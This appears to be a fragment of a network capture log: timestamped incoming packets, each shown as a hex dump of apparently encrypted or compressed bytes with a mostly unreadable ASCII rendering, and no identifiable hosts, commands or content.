2021-12-28 04:19:41 UTC	3804	IN	Data Raw: 0c 74 0c b1 7e 5d ff 7c fa 97 00 da ac 43 9a d7 e0 7f 33 18 d1 41 95 f9 49 3b f2 c6 5b b5 44 8c c3 e8 b8 56 e3 48 9b 84 8e 0f 7b 77 15 83 2d 62 c1 9f fc c4 bd e9 d5 cc 1b 82 9b 86 ab 60 3f b4 71 32 13 23 7f 01 59 f6 23 6d 0a 5b f3 1a ed e1 c0 f7 6b b7 67 ba 40 f7 36 4f 7b 92 3d 76 69 35 d0 90 75 30 69 84 83 43 b7 8d c9 77 e5 03 f6 ad dd fb b1 ea 98 8d a1 3f fc 9e b6 6f fb ed a6 6e 2c 3a b4 cb a9 f1 be 02 46 2d f9 a0 59 3b 55 16 cf 08 d0 d6 f9 c4 f9 31 d3 a3 07 1f 4d bc c9 0f 19 eb 4a 52 0a b4 e8 a9 42 97 b6 83 1b 75 55 5c cb 70 f9 40 fe 04 87 1a 83 26 fd e8 8d d9 30 d2 ec fd 58 54 bc 52 73 8c 79 90 9a 66 9b 4e b9 6f a6 c2 59 e9 ca 90 17 16 1e 43 d2 ea 37 8e 12 7e b8 80 78 fc 80 97 9f 72 a7 e0 5f 55 ab fa 69 1c 9a 17 2e df b7 9f db f7 72 a7 08 71 ae ce 3b Data Ascii: t~]\|C3AI;[DVH{w-b`?q2#Y#m[kg@6O{=vi5u0iCw?on,:F-Y;U1MJRBuU\p@&0XTRsyfNoYC7~xr_Ui.rq;
2021-12-28 04:19:41 UTC	3820	IN	Data Raw: 4a 56 c1 52 a6 16 a2 ff c0 78 26 48 48 4e f2 d4 61 18 90 65 0f 80 dd bc 61 50 a0 40 3d 1a 5e b3 8c 19 04 ae d5 aa 4c 66 73 8b 66 79 52 c8 f6 b4 80 56 d1 05 db 01 70 aa 3b c7 f2 71 64 a4 da 4b e9 6c 98 70 89 97 ec 15 77 4a 23 16 e8 84 06 84 fe a2 53 01 3c bd 22 47 16 0c 08 07 c8 9c c4 ea ba 18 86 04 c3 9b 82 1f 91 a1 b2 54 be dc 5b 10 08 de 25 f3 66 af 30 a1 87 62 27 39 f3 08 53 1b 38 cd 5f 95 50 e6 11 bd 79 8f 5c 09 32 17 98 ad 77 c6 b7 70 99 fb 8e 62 08 59 1f ee 67 7b 73 1d f8 d7 94 8b 9b 7d df 71 63 5c bd ae 38 db 8e 2c 79 47 b3 07 a9 a1 86 eb 8c 6b f7 dd ca ff b8 8b a1 e2 f7 aa 50 e0 45 9b 62 1b a9 5e 21 d1 92 89 52 16 96 c4 64 d9 8f cd fd 98 b2 1c 43 79 69 48 2d 8f 08 3b 02 fc 55 87 cc 51 c5 2f 24 62 bb e3 28 37 ba 35 e0 07 e2 2b fc ec f8 47 06 b2 18 Data Ascii: JVRx&HHNaeaP@=^LfsfyRVp;qdKlpwJ#S<"GT[%f0b'9S8_Py\2wpbYg{s}qc\8,yGkPEb^!RdCyiH-;UQ/$b(75+G
2021-12-28 04:19:41 UTC	3836	IN	Data Raw: 02 3d 1a 0a 04 ee e7 ce 91 87 6e 57 2c e0 bb b1 07 c9 0b c5 64 33 f2 ba a5 6f dc 27 9b e7 d7 80 86 9e 4e a1 93 3d c1 f2 7e 63 bd 1a 8a 6e d9 fd d9 b2 b2 8f d1 42 9b 00 2d 69 f5 e8 85 09 7b 47 ee c1 bc ee a2 5c b4 c1 fb 19 54 87 6f 96 7b 26 a8 20 96 a6 9b be 14 45 0e e7 b9 41 3a 1d 2f 64 94 74 c1 f2 f5 fb bf 6b 32 54 0f 78 d8 09 3a 21 e7 bf 16 be e0 af 0e 29 de 9e ee ae 51 00 20 51 bb 8f 4f 11 9b 9e 88 61 6d 93 cb 9a 7a 53 cb e0 65 a2 ff 75 ea 7e d9 fd b4 b8 ef 11 5b 79 cd ec f6 87 13 af e1 1f 29 de 34 e7 45 f4 1c 68 e1 1c f0 33 d3 df 83 3d 6e 31 07 fc 1d bd b6 c8 ec 2a de b4 f0 c3 21 83 b2 de 86 93 78 00 7a 83 5b 91 77 8f 6f 47 66 5c 90 e6 86 b2 71 6b 93 b6 f1 fb 6c 89 2b 26 f1 11 63 67 06 21 15 68 6c e7 f2 4f ab 12 31 8a 21 0d ca 85 7a 3b a0 04 b3 1c cc Data Ascii: =nW,d3o'N=~cnB-i{G\To{& EA:/dtk2Tx:!)Q QOamzSeu~[y)4Eh3=n1*!xz[woGf\qkl+&cg!hlO1!z;
2021-12-28 04:19:41 UTC	3852	IN	Data Raw: bc 3a 36 86 9a a6 f7 a0 ce 6e 75 29 04 36 fb 80 f7 0f 23 28 68 58 50 29 5e 7a 02 0f 63 fc 98 ad f1 8a 41 6e 75 e1 ca 15 1b 93 8a c1 ee 01 14 37 3f 39 93 57 63 c0 fa 64 94 0d 55 03 05 9b d7 7d d5 be 30 66 72 22 5c 89 88 03 a9 7a dd 19 45 ca 3a 94 c7 d9 c2 cf 1e f3 e4 dd 6c fd 42 81 61 be be 37 8d da fe ce 71 21 93 c6 4a a5 6f 88 86 e5 5d 4c 25 8a 0e ad 1a 81 56 f5 e7 41 96 28 d6 98 22 ee 2a 49 fd 65 70 cf 31 24 69 46 de a3 46 bb 7a 68 7f 6d 28 f2 12 01 62 16 61 06 bb d4 7f 9d b5 97 b8 e9 7b bf d2 8a 54 de ba 22 89 f5 b2 36 ea 6e 17 bd fa 62 ec 98 13 3e 5a ff c4 97 ca 63 c1 59 f3 16 6b 70 93 4b 6d b8 93 a2 b5 59 1e 38 74 c4 ec 78 13 4b 8f 79 47 3a f4 f3 67 c9 d0 f2 38 19 56 16 67 f8 cf d0 c2 38 8b 7d fa 30 90 2d 57 7d de f2 1e ca f9 f9 c0 de 5a fc b8 31 cf Data Ascii: :6nu)6#(hXP)^zcAnu7?9WcdU}0fr"\zE:lBa7q!Jo]L%VA("*Iep1$iFFzhm(ba{T"6nb>ZcYkpKmY8txKyG:g8Vg8}0-W}Z1
2021-12-28 04:19:41 UTC	3868	IN	Data Raw: 45 ef 6c 5d ce 3d 02 a6 21 03 1f be 67 c2 a9 2f aa 79 aa f0 6c 9f 66 9e 74 2c 06 b7 30 30 60 40 84 e3 f3 fd 08 8a 5e 1a 3a 68 74 c2 39 92 76 89 e5 91 34 6b ba 9a bb e5 23 f2 32 88 f0 91 76 74 e0 0d 67 0f df f9 77 c4 3d 3f ef 6f 53 3a df 62 48 c7 01 af 71 79 34 93 c6 9c f2 85 00 58 2d fe 41 bf ff d8 4b 92 ea 09 01 89 c3 4b c4 11 a1 8c bb 53 da b9 5d c3 22 b2 d5 9b 8d 8b dd cb a3 7f 8d 1b b9 18 c4 78 49 ba b8 b8 59 37 6e c6 8c ef e1 f3 91 41 79 86 e6 fb e5 8c db aa b8 8e de 17 45 cf 23 bb a3 8a 78 d2 34 39 c8 c6 6b 17 c2 cb ca 46 74 3d ef 24 89 24 e2 88 0d f4 f3 e7 b5 39 ba 93 2f e6 16 b0 4d 17 34 1c 11 81 c4 d2 db b6 de 65 a4 fd be 6c bb b1 c0 47 79 26 3b f3 54 ea aa d5 40 19 9f 8c f1 40 52 9b 64 66 7c f8 15 a4 32 ff 42 1f ea 54 12 a1 2c 02 45 25 a1 81 34 Data Ascii: El]=!g/ylft,00`@^:ht9v4k#2vtgw=?oS:bHqy4X-AKKS]"xIY7nAyE#x49kFt=$$9/M4elGy&;T@@Rdf\|2BT,E%4
2021-12-28 04:19:41 UTC	3884	IN	Data Raw: e8 69 fb 4f 6e 5e ad da a0 78 e6 8e 21 29 d0 92 71 bb ff 8e 70 1f 07 e9 a1 9e 49 42 bb 2e 98 c0 c5 7d 71 8d b6 4a 7a c5 cc 58 84 7f 25 54 24 a1 54 ea 28 98 0b 8d ba d1 35 2c 1e aa 3b d2 41 63 2e 33 fd 6a 36 26 cd 55 8a 35 1c 81 22 da 45 c7 28 30 0d 84 82 f0 73 e1 0d 85 52 cb 1e 55 46 ff 1c 1c 1b eb c9 15 35 88 82 ec c4 da 2f 51 e7 d9 ec 35 c7 bc 78 46 32 e3 10 48 fb 9c a0 39 79 bb 17 87 41 8b 95 19 06 bb 8c b6 dc 57 0f 04 20 16 19 cf 31 28 15 50 8d ea 88 45 a3 07 57 24 80 f2 56 c3 96 47 ac c6 e0 ac ef d2 ca 64 71 09 96 b7 49 12 c3 31 c8 bc 13 83 ca 37 64 81 fe 1d dc fe dc b9 2f d8 38 e4 51 89 45 93 67 f3 54 00 53 21 07 34 0c 7b b3 ef c7 3b 93 b3 72 44 ce 41 e2 91 ec 17 22 0d 22 5a 76 95 fa 70 46 11 ba 52 f2 be b9 d8 8c 70 fb 08 ad 24 22 0c 44 4b 9d bd b0 Data Ascii: iOn^x!)qpIB.}qJzX%T$T(5,;Ac.3j6&U5"E(0sRUF5/Q5xF2H9yAW 1(PEW$VGdqI17d/8QEgTS!4{;rDA""ZvpFRp$"DK
2021-12-28 04:19:41 UTC	3900	IN	Data Raw: 82 42 da a6 29 a5 8b 4f e0 6f 68 4a c3 dd 8a f1 21 e5 22 f2 62 1e c6 85 de 0b ae 07 ec c9 a0 e0 0d e5 b9 8d fa c2 1c 52 95 ef 9c bf 9b 0c 19 be 56 4f 11 5f 6b 82 aa cc ea 10 33 9f 3d cc 29 c6 b8 aa 14 7c 45 56 07 3b 67 51 13 aa bd c5 d8 cd 53 6a 36 f0 41 93 dd cf 2c df c7 11 8d 29 be 24 73 34 1a ad a9 ab 52 63 93 e2 f1 81 0d 49 c0 00 c3 27 3d 68 82 4e d7 bb 76 40 11 c1 54 a3 cb 9c 45 b4 af d7 d1 5a 76 c1 9e 98 0f 56 80 78 1b bc 66 8a 9b 95 4f ad d1 ac 42 36 46 c2 89 c1 5a 8d 8c c4 57 4a 2a 51 a7 a4 9b e8 2a fb 17 47 e8 c9 32 08 3a 60 b0 e4 61 1e 1e f9 34 99 28 78 f2 54 7e 0d a9 fe e9 00 6d d4 c6 a0 a4 07 57 5d 8d e8 9b f1 03 00 b1 5c cf 6e ea f0 07 a0 94 4a 60 a8 3d ed e2 e7 ed 57 d8 18 6b 16 f7 31 9b dc 14 6c 07 80 bd c8 8d e5 02 d9 ef 0e 10 c5 53 53 16 Data Ascii: B)OohJ!"bRVO_k3=)\|EV;gQSj6A,)$s4RcI'=hNv@TEZvVxfOB6FZWJQG2:`a4(xT~mW]\nJ`=Wk1lSS
2021-12-28 04:19:41 UTC	3916	IN	Data Raw: f6 3d f6 5d 03 85 61 13 31 ca 9c 29 c9 32 53 0d 81 3c ac 88 54 17 f5 04 8c 19 cb 5d 88 b0 1f e5 91 fa ec 39 8f d8 1a 8f 1e 44 3f 50 86 d1 35 ab 73 71 14 d4 a9 b5 36 b3 07 bf f8 dd ee 5f 57 a9 82 b7 da ea 31 64 7a 39 c6 ca b0 6d 3c c0 ed e2 da 95 ec 7b 5c 70 b5 a3 da 2a 0c 00 f3 a7 75 d2 e0 a2 36 81 91 27 29 0c e2 57 ae f9 c5 ae e7 1f 0e f2 48 dd d8 a1 ef 2f bf 19 2c 01 3f 7a 77 3c fe 6d 9a ff e4 b7 7c d2 94 b9 83 79 ad 52 47 b1 df eb 38 87 5a 84 e1 1a db e0 6a f6 be a9 86 11 2d 06 90 ea 0d 92 de 4b 82 41 54 7a d4 88 06 1b a8 f4 bf a2 6e 24 54 02 73 f0 01 81 88 ab 39 4d 66 24 63 35 68 2c 0e 70 73 c5 5a c4 36 37 ef 11 ea 73 2e 08 ec 8c 47 bd 90 b3 8f da bb 3a e5 f6 78 60 94 e1 68 28 27 5b d6 6e ee 51 c0 82 02 35 b5 fb 47 10 dd 95 83 4e 57 17 31 74 d5 7d 09 Data Ascii: =]a1)2S<T]9D?P5sq6_W1dz9m<{\p*u6')WH/,?zw<m\|yRG8Zj-KATzn$Ts9Mf$c5h,psZ67s.G:x`h('[nQ5GNW1t}
2021-12-28 04:19:41 UTC	3932	IN	Data Raw: c8 de 99 22 4c ba 88 e8 b7 ab 1f 05 1b 65 a7 23 10 b7 cf 3e bf 4f 6b 7c e2 d1 38 47 7c 10 46 ae 49 e0 27 54 12 06 70 a7 54 6f 8a 70 f1 20 0d 3e eb 77 d6 e2 f8 47 4a b8 ca 97 6e d5 ca 8c 16 86 eb 02 95 6a 1f 79 89 fa 13 06 18 08 fb 70 3c f3 af 27 ab cf 50 99 bb 65 c1 70 a6 bc d4 14 6e 7b f0 f9 cd 5a 26 69 ff 5b 93 cf 13 db c0 1a 8f 63 d2 c4 28 5a ad dc 94 b8 44 b9 9a e0 73 ed dc 0a 29 48 6d e8 89 bc ae 8b 66 e8 df 4a 76 d4 8c de da e2 65 96 d0 05 0e ce 49 fa f5 22 ff a4 92 79 ca e7 be ac 08 23 71 3f 6d bf 2e 8a d1 65 e3 18 65 a5 76 e4 09 4c 76 90 36 fe e3 d0 ee e8 38 74 bd 38 f8 6a 9d de 69 0d ee fc 4f 90 2f fb f1 81 c4 85 f8 3b 00 eb c2 ae c0 eb 1a f5 93 47 d8 a7 2a 69 91 0f 6a d5 d2 6a 0d 86 11 0e d2 6b e4 41 04 f1 24 52 ba 18 33 0a ec 32 0a 9d f6 58 e0 Data Ascii: "Le#>Ok\|8G\|FI'TpTop >wGJnjyp<'Pepn{Z&i[c(ZDs)HmfJveI"y#q?m.eevLv68t8jiO/;G*ijjkA$R32X
2021-12-28 04:19:41 UTC	3948	IN	Data Raw: 77 0d bd ae 13 42 11 18 20 e8 f1 72 da 92 37 2e 67 30 e0 3a 9d e8 01 92 74 05 92 8b d3 48 b3 55 44 db ab b5 21 11 27 af ef f9 56 e8 ad f8 5d 69 6d 87 b1 34 5d 2e 69 6c cd 32 a5 fc b6 a6 ce 76 05 0d 3a d6 b7 c5 ce a1 58 24 ca da 84 fd c2 c8 f1 1e 34 11 29 7c 3e 1d 2b 9a 54 ce 0e 39 94 b1 ec 04 2c 12 d5 49 91 8a 26 5b 2a ae e0 81 67 0c c1 21 a6 44 9f c2 18 73 5b 30 42 b5 53 18 50 df 52 ae 8b ab 3d 97 28 b3 17 c1 c2 c5 39 fd 36 2f c9 c3 a7 dc 62 42 81 7f 21 75 49 9c ed f1 b4 f6 b1 33 db e9 50 66 c8 d3 6e a6 3e aa 8d d9 2b 9b 58 85 4f b8 ab 0c c5 93 a3 48 90 25 57 75 85 3e e1 1b f8 f6 b9 84 15 ab 94 11 6e 88 1d 88 a5 00 35 14 b3 3f 17 d6 27 ed 0c 81 d1 54 74 56 66 ac cd eb b3 96 09 69 b4 28 81 26 74 8d 81 ba 29 f5 8d 06 92 4d 7b 61 07 a7 9a 03 31 9b 01 30 7c Data Ascii: wB r7.g0:tHUD!'V]im4].il2v:X$4)\|>+T9,I&[*g!Ds[0BSPR=(96/bB!uI3Pfn>+XOH%Wu>n5?'TtVfi(&t)M{a10\|
2021-12-28 04:19:41 UTC	3964	IN	Data Raw: b1 3e 44 87 66 f3 d5 5d 22 d4 09 79 cd 3d 5a b8 93 f5 7c 0a 34 d8 1f ad 43 31 c8 25 79 b8 5a 9a ca f8 86 bc e7 12 13 f9 66 10 f1 d7 01 fa 26 bd d2 c0 f2 b0 33 62 ef 06 da 15 64 18 dd 4a 70 9f 24 a4 9b a9 ec 4c 56 16 33 89 50 0a b2 ce a7 4d 57 6d 93 f3 c6 0f 1d 2c 16 ab 28 c1 6a 7d 6b 37 46 2d 4a 1e ee 12 b3 36 63 1f 9a 84 92 30 c2 40 1b 08 f1 d9 45 13 31 b1 05 12 f0 ce a3 41 74 97 d2 d4 99 55 2e 1c 62 ad cd ae 52 9c 5a 7d f8 4c 6c bc 2f 87 98 67 09 61 a5 59 95 2b 7b ab e8 71 e2 88 13 0c 82 59 7b 93 74 9a 53 17 fb 70 89 70 d9 07 7f 0f 06 62 62 08 b7 96 2d 6f 2c 11 6c 1a 58 70 7f 66 e9 59 7d a0 5b bc db e0 80 a9 e1 91 17 cf e0 05 b1 26 80 da 71 0c c8 9f 78 73 8f 97 45 a4 92 72 2a d8 98 4e d4 6d 72 1d 82 c7 9e ab 62 de 39 13 01 3d 33 ca 30 60 22 95 a2 81 00 Data Ascii: >Df]"y=Z\|4C1%yZf&3bdJp$LV3PMWm,(j}k7F-J6c0@E1AtU.bRZ}Ll/gaY+{qY{tSppbb-o,lXpfY}[&qxsEr*Nmrb9=30`"
2021-12-28 04:19:41 UTC	3980	IN	Data Raw: 53 a1 2b b8 27 08 2f 9f a8 54 19 58 a7 3d ab b3 52 1f 43 5b 7f f2 bd 7a 06 dd f9 4e d0 ed 54 df 05 01 f8 d0 d7 50 96 09 58 80 31 1b 16 5a 5e 19 3c 5b 37 c6 00 fc 45 c5 5c 93 5d d5 b6 6b d4 a7 22 0a 5e 01 b5 e1 8b e4 32 5c 9f 39 2c 06 ef ab 7a 0a 8c bc 80 7d 88 6c 9d 2f da 77 34 4a e0 51 0f 75 31 03 9e 66 b6 b7 39 6c ae c7 e3 ca 69 d9 ea 83 78 4a b1 42 94 81 0e dc a3 cc d4 4c b7 51 6a 36 f4 b1 9e b5 f3 97 5b f9 3e 98 57 fe c6 fd ae db 38 2d 59 08 a4 9c f0 55 83 3d d2 e7 e6 08 7f 1a 90 2e 34 55 44 8a 27 94 01 56 d1 5f 09 a4 b5 8f 21 81 ab 30 14 66 b3 c8 dd 62 23 42 ae 85 1f df 65 79 0c 10 1a b9 85 09 e5 c8 5c 3b 6f c0 7d 13 0e 79 63 30 98 67 ab ad 13 3c 99 94 d9 19 dd 20 29 fb 16 b0 2a 2a bf b5 d5 89 32 f4 f4 c5 1d cb a2 5b 07 e4 80 e1 11 3f e0 80 c3 bb 14 Data Ascii: S+'/TX=RC[zNTPX1Z^<[7E\]k"^2\9,z}l/w4JQu1f9lixJBLQj6[>W8-YU=.4UD'V_!0fb#Bey\;o}yc0g< )**2[?
2021-12-28 04:19:41 UTC	3996	IN	Data Raw: 0c dc 70 29 a3 e2 4c b5 d2 fd a4 c6 3b 6e c2 ec fc 7d f8 73 31 54 2c 83 9b b7 7e f0 9a ee be ff ad d3 9b 1d cd 1b 6d b2 d4 29 1a 21 cf 2d 31 14 b2 03 4c 73 d3 97 e7 49 e2 79 5e 1f 8c 2b f9 b5 66 e2 57 1d ab 7f 52 a2 ab 1d a7 a6 e0 a0 de bd 6f 23 2e 1f 58 cf f2 b0 ea 47 97 21 8d 4c c4 cd 67 ea 6b 9e 78 cb e3 54 2d ec e2 37 95 32 57 a9 4b 37 36 8c 6d 74 a1 bd bf d0 8e 8f 6f 22 1b d1 71 51 ca ad c0 69 46 4e 2c 60 53 40 03 38 7f 9f c5 e7 9e 76 63 7f e1 60 47 af 6f 31 e9 7d db 79 0d b8 6a c6 f4 63 43 23 fe 37 01 d9 81 26 f3 46 d4 cd b2 f1 bf af a8 c3 38 5c 2b ed 36 d4 17 88 4f fe 26 a6 04 fd bc a7 51 60 86 92 98 ef 09 1a 00 43 aa ea 48 fb 73 8f ab 26 85 dd 99 75 1b 24 4e 32 20 ef 3d b4 65 8e c2 21 d0 c9 44 33 b4 d8 a0 d1 61 d2 ad 2d af 9e 96 fb b7 dd bb 6e e2 Data Ascii: p)L;n}s1T,~m)!-1LsIy^+fWRo#.XG!LgkxT-72WK76mto"qQiFN,`S@8vc`Go1}yjcC#7&F8\+6O&Q`CHs&u$N2 =e!D3a-n
2021-12-28 04:19:41 UTC	4012	IN	Data Raw: ae 69 91 23 81 bc 15 4e d8 93 e3 20 db ed ba 2c ee b3 39 2b e0 ec f5 6d 8c 27 c2 3f 64 73 29 fb 98 41 93 7e cd 61 b9 c6 0b 62 6f 79 7a d0 d6 da c3 af c6 68 4b fe 96 f8 98 17 d2 4a ab d7 9a ca a1 34 04 ee ac 75 18 ac a1 e6 c6 0b fd 94 e5 4f 74 fc e7 ba 38 51 a2 06 cf 2c 48 4e f5 40 03 c7 71 f7 17 bc 4f 4c 4a ad 61 aa c2 1f 9f 9b 21 82 38 62 64 2b fb 83 72 4f c2 9b 55 af 55 f4 e4 09 3f af 48 1d 60 3a ec b3 44 50 02 0e 30 96 f6 64 16 ea 83 0f 93 10 8e db 88 fa a1 ad 12 1c 80 cb 22 f7 9a e2 6b f2 0a 07 25 b6 f1 fe 2e 92 7d 82 53 ea eb ab 26 d3 c4 04 22 70 31 ab dc 33 9f aa 11 f4 b3 be 35 0f 20 c1 e5 1a 2a 26 a1 5e c0 2b e0 82 cf 7f 7f 1f 29 88 cc 71 8f d0 b9 47 5b ec 26 86 69 d0 06 73 ca 67 b1 79 37 d4 3a a5 79 a2 64 4c 5d 6e d4 fe 7c ad fb 46 5e aa 32 ef 50 Data Ascii: i#N ,9+m'?ds)A~aboyzhKJ4uOt8Q,HN@qOLJa!8bd+rOUU?H`:DP0d"k%.}S&"p135 *&^+)qG[&isgy7:ydL]n\|F^2P
2021-12-28 04:19:41 UTC	4028	IN	Data Raw: d7 a6 41 c6 b9 a5 0b 62 5b d7 df 15 9f b3 d0 6d 98 a1 01 c7 bc c3 f2 89 b6 52 ca a3 f6 ef e5 55 16 00 c8 6e 51 96 ee 71 f2 f0 89 43 ea 00 4c 1f 8a 13 a2 2c ba 88 2c 6b 14 24 88 46 b7 05 ba cd c8 10 f3 b7 b2 ab 1e da cd 6f a8 b8 e7 db 20 3a af 81 13 37 2f fd f5 74 78 33 4c 41 af 20 42 3d 80 db 3d b7 ff 11 5b 02 2c a4 1d 6f 62 56 b5 f1 f4 5e 51 1c 27 f5 0c 37 43 73 ff 1e e9 09 d0 bb 24 53 b6 ba 7e 5a e0 06 d7 d1 69 6e 8f 6a f2 91 82 62 03 fc 91 08 51 8b 77 12 b1 44 fa fa 9e 97 1e ed ac f6 ef 4c 4b 46 b3 81 05 9a de 3c 21 b3 76 60 14 21 bf 96 57 78 32 76 02 6b b4 e6 33 95 63 7e 8e e5 ec 8f ee 31 a2 cc cc 8e 40 65 e5 c4 66 0c d7 2b 0f 07 42 d6 ae e4 c7 0d 27 78 ed a9 6f 11 57 eb 37 ab 9c a1 fa 58 2a 42 b7 08 78 cf be 22 1c 04 ee 98 20 13 f9 e9 78 3d 19 82 86 Data Ascii: Ab[mRUnQqCL,,k$Fo :7/tx3LA B==[,obV^Q'7Cs$S~ZinjbQwDLKF<!v`!Wx2vk3c~1@ef+B'xoW7X*Bx" x=
2021-12-28 04:19:41 UTC	4044	IN	Data Raw: c5 a1 54 92 b5 22 a5 66 65 4f 0c ef 96 7e ea ca 8a bb a1 1b 84 ea 43 9d 74 cc 98 99 9b d0 63 1b 37 ee 96 6f 69 8a 29 76 85 7a 41 35 f8 54 9d 97 f9 73 e7 18 9c 7e 57 b2 6b 76 83 70 f0 f8 c2 ab 88 1c 22 0e 81 6d 7b 73 7c aa 00 9b 98 d6 ec a3 a2 dc 9b 5d e9 47 65 c6 7c d1 ab 57 ea 1d 77 6f 25 7e 2d 99 f2 91 83 5d 80 5b a7 e7 a7 1d 5c 96 4a cc 44 bd 4c 8c fa e1 81 7d 80 68 ed 85 b7 da fa 0b d7 26 2d b7 f4 11 09 e2 e0 cc 67 42 1e 44 55 3d 1a 11 d2 e0 5b 53 01 7d 0e 57 c7 5c 84 49 b7 2b 8a 5e 98 e9 17 09 2a 57 e0 e3 e1 6e eb 8b 2b 3e f7 af c6 a0 0e a0 50 ed 4e b4 0f 4b a0 39 fd 6a c0 49 99 91 63 06 46 f7 b8 95 f6 8d 6f 95 b0 6c c6 7b a5 85 f9 e7 3c 6d d6 59 71 f2 c9 77 2b 5a 18 d9 2a 37 04 a1 85 7f 1f 75 c3 2f b9 3b 49 1b c3 bf 5f 13 db 21 97 e2 a1 0a 75 97 a5 Data Ascii: T"feO~Ctc7oi)vzA5Ts~Wkvp"m{s\|]Ge\|Wwo%~-][\JDL}h&-gBDU=[S}W\I+^Wn+>PNK9jIcFol{<mYqw+Z7u/;I_!u
2021-12-28 04:19:41 UTC	4060	IN	Data Raw: d8 26 b1 e3 22 5f 57 64 22 f3 59 4c 45 9e 4a ab 49 b5 4a 55 1b a3 dc 82 55 f4 01 f3 d2 0d ad 5f 93 5a 92 c0 de 5d 84 7e 01 7e 93 c0 a9 a8 ee 07 90 d0 65 23 6f 49 6d 6a 00 aa f5 98 50 d7 c3 2d 36 e5 cb 0d 74 b4 5d f5 27 9c e3 d5 dd 49 c3 8d 65 fc 50 8d fc fa c2 a8 da 77 b5 75 6e d4 4b 9f 25 0d 2e ee 16 25 d2 ae b6 34 8f b1 65 9d f7 6b 41 d0 1b dc e7 92 2b 2a 83 2b 0e bd 6f cc 49 4c b1 2c d6 e4 8c 5c dc cd ce 4d 94 78 c9 53 80 e5 4f 4e 36 08 f6 00 e4 64 25 9d 9f 76 00 08 40 2e 48 1e e2 5f a4 06 e3 dd a7 ea 77 cd c9 1c ff 3d 4c 4a d9 a9 56 39 50 db 46 e8 fa fc 75 49 b8 d5 d9 44 34 03 fd 89 2f 06 44 49 d7 8d fc 5e 73 1d 27 70 28 4a 3b d6 45 98 e3 3c 0e e5 71 37 6e 12 5a 34 7c 21 83 35 bc 62 22 56 41 86 bc 55 f7 02 6f 89 1d 61 fe ba 04 6e c5 ca 77 72 4c 80 d3 Data Ascii: &"_Wd"YLEJIJUU_Z]~~e#oImjP-6t]'IePwunK%.%4ekA+*+oIL,\MxSON6d%v@.H_w=LJV9PFuID4/DI^s'p(J;E<q7nZ4\|!5b"VAUoanwrL
2021-12-28 04:19:41 UTC	4076	IN	Data Raw: 75 9b 49 f6 a3 d5 ba 6a 7f 9d 8e 31 8c 47 7b 24 cd 04 62 5b d5 31 a0 32 31 b7 a2 d5 63 33 7e f4 10 2a 17 be de 52 cc dd ac 9b d1 d4 2d df f8 49 f1 0f d0 8c 14 0d a2 82 dd b3 1a 43 d1 3b 1c 17 45 a8 43 b4 4a 89 f1 da 19 3a ca 08 a8 4a 7c 6d ba fe 07 19 ad 2a 0d b3 7c 72 0c 99 8c 9a 14 0d 01 eb db be 15 97 77 24 c4 e9 a7 e0 44 a3 cf 53 3c 02 73 7f 4b 19 5d f3 3b 11 b7 45 86 ce 7c ba 2f ab 22 2c 24 c7 2d d6 7a fd a8 f2 1c c1 89 45 9c 35 65 23 0c 35 30 61 88 e6 22 bc 9c b4 4d b4 ef 94 d4 2e 6e a1 be a0 05 78 8a c7 40 f3 bd 9a d2 ef 32 df 6a 0f 24 e4 31 c5 87 2d 09 bb 9e 29 87 1c aa 55 f4 86 7d af 13 6a b7 61 c5 1b fa c6 61 17 72 03 65 20 3d 3c e6 8e 5c 62 0a 4b 06 4d 70 9a 4b 69 0a 4a 17 b5 6d d1 bf 46 1c ee 94 97 2a 93 5b c9 8b ec fb 6c ef 52 dc 75 af d7 c2 Data Ascii: uIj1G{$b[121c3~R-IC;ECJ:J\|m\|rw$DS<sK];E\|/",$-zE5e#50a"M.nx@2j$1-)U}jaare =<\bKMpKiJmF*[lRu
2021-12-28 04:19:41 UTC	4092	IN	Data Raw: aa 2a 80 36 4e d3 0d 03 62 a5 96 ae cc 5f 95 26 99 08 8f 9f 03 a0 70 a8 99 42 4f 73 6e 0a 45 49 60 0a c7 1a dc 65 af 19 a4 2d 2e 9d b6 9b 29 8c 8e d8 cc 7b 88 fc f1 22 65 ff d5 a3 2f 2a 56 e7 aa e2 f0 23 71 cb 02 d0 5c ad 44 04 4b 9f 0b 2b 5e 19 f0 4d 48 2f 10 9d a3 b8 c9 cc 81 b0 39 bf 37 c7 f7 73 8e 8b 8c fa 6a 2f 3a e5 1f 61 8d 18 21 ea 84 39 7c 52 8a 89 24 1a 33 1e bd fc 35 0b 4d 87 0d ec a4 05 7a 0a 0f 30 3c c4 2b 18 bd 08 f4 8a 68 2c 17 52 1c 6a 86 a8 b1 fd 08 25 d6 76 c8 7e 30 af a2 81 ca bf 21 88 bf 1e 30 69 d8 cf a1 31 ef 70 3e a3 ef cb b4 ab 46 5a 9a 99 49 89 e1 e3 32 72 9c 56 7b 70 06 72 84 2e 63 67 d2 33 8b f8 b9 1b 62 0d e5 93 cf bd bc 57 87 1f 89 7c 67 ef 44 8d f6 45 6b b3 0b 8e d6 3e 31 d2 83 b6 6d 2a 45 28 ff b6 90 f5 f7 cf ff 9a df 3e fe Data Ascii: 6Nb_&pBOsnEI`e-.){"e/V#q\DK+^MH/97sj/:a!9\|R$35Mz0<+h,Rj%v~0!0i1p>FZI2rV{pr.cg3bW\|gDEk>1m*E(>
2021-12-28 04:19:41 UTC	4108	IN	Data Raw: 1f d3 48 cb 9a b3 ec fd 13 bf 7b d7 23 b2 e8 93 f6 6b 69 69 4b 0f c6 ae 8a 6d b9 27 de 00 1f 62 42 e3 2e e8 bf cf 26 54 6d dd 51 53 e4 0a 65 f0 d4 12 c9 4b 23 82 23 1c ae cb ce 90 5f 9e 04 2d a6 77 af 6b b2 79 94 ec a0 57 75 67 71 17 f7 b5 d9 e9 d4 c6 29 be 94 33 2b 27 a5 2b 7f 6d 18 f7 c1 cd 2e 44 61 e3 95 6b 00 41 13 23 7b c0 5d e2 55 6d 5f 8b c6 64 88 e4 32 4c ea 7e 48 f5 ce ad 4a b9 22 b4 24 52 77 27 b2 f0 d3 4d 6f bd c8 fa 73 bc e7 18 c4 5e 03 10 a9 b3 27 6f 80 4d a8 8e d9 81 10 30 84 54 82 75 cc 5c 44 11 d6 38 e4 45 0e 13 45 2b 98 05 ad 8a 57 64 2c 94 30 75 d3 68 e6 38 a2 a1 c7 e6 49 01 2e e6 23 57 09 10 b8 e2 e3 f8 30 f4 8a 19 cf d4 2c bf 80 57 f3 4f d3 c7 04 86 d2 1a 89 0b d5 63 e5 b6 ca 5b 4a 92 5a 2e 90 0a 30 c0 67 52 a9 53 c2 24 1f 36 b9 99 19 Data Ascii: 